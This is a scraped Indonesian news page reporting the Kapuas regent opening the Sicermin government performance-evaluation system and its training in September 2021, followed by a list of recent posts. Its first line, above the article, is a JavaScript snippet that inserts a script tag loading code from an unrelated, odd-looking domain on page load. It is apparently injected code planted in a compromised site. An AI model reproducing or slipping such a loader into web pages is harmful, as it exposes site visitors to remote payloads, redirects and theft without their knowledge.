(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Launching Sicermin, Ini Komentar Bupati Kapuas Ben Brahim


KANALKALIMANTAN.COM, KUALA KAPUAS – Bupati Kapuas Ir Ben Brahim S Bahat MM MT secara langsung membuka Launching dan Bimbingan Teknis (Bimtek) Sistem Informasi Cepat Evaluasi Kinerja Manajemen Instansi Pemerintah (Sicermin) sinkronisasi perubahan renstra perangkat daerah tahun 2018-2023, Kamis (9/9/2021).

Hadir dalam acara Sekretaris Daerah Kabupaten Kapuas Drs Septedy, Kepala Bappeda Kapuas Saribi, sejumlah Kepala Organisasi Perangkat Daerah (OPD) dan Camat se Kabupaten Kapuas.

Bupati Kapuas Ir Ben Brahim S Bahat mengatakan bahwa kunci dan fungsi dari Sicermin ini yaitu adanya komitmen dari Kepala OPD, Camat serta seluruh instansi yang terkait untuk berperan aktif dalam hal perencanaan, penganggaran dan evaluasi.

Melakukan koordinasi yang baik dengan stakeholder, sehingga integritas pada evaluasi tingkat perencanaan, pengendalian dan Sakip di Kabupaten Kapuas dapat dibentuk.

 

 

Baca juga : Oksigen di RSUD Jarse Masih Aman 

“Saya harapkan agar bimbingan teknik dipelajari dengan baik untuk salah satu faktor dalam melaksanakan tugas agar bisa lebih tertib lagi dalam hal perencanaan, pengendalian dan Sakip. Sicermin memperbaiki sistem kerja kita, untuk mencapai apa yang kita inginkan dan kita harapkan kedepannya,” ungkap Bupati Kapuas.

Kepala Bappeda Kapuas Saribi dalam laporannya menyampaikan, sehubungan dengan telah disetujuinya Rancangan Peraturan Daerah (Raperda) Perubahan Rencana Pembangunan Jangka Menengah Daerah (RPJMD) Kabupaten Kapuas tahun 2018-2023, maka perlu adanya asistensi penyusunan perubahan Raperda dan penginputan pada sistem informasi cepat evaluasi kinerja manajemen instansi pemerintah.

“Saya meminta dukungan dari Bapak Bupati Kapuas, seluruh Kepala OPD, Camat serta seluruh instansi, untuk Bimtek Sicermin ini kita akan laksanakan mulai tanggal 13-16 September 2021 dan ini sebagai implementasi rencana Peraturan Bupati tentang Manajemen Integritas perencanaan, pengendalian, evaluasi dan Sakip di Kabupaten Kapuas,” tutur Saribi. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

40 menit ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

2 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

3 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

3 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

4 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

6 jam ago

This website uses cookies.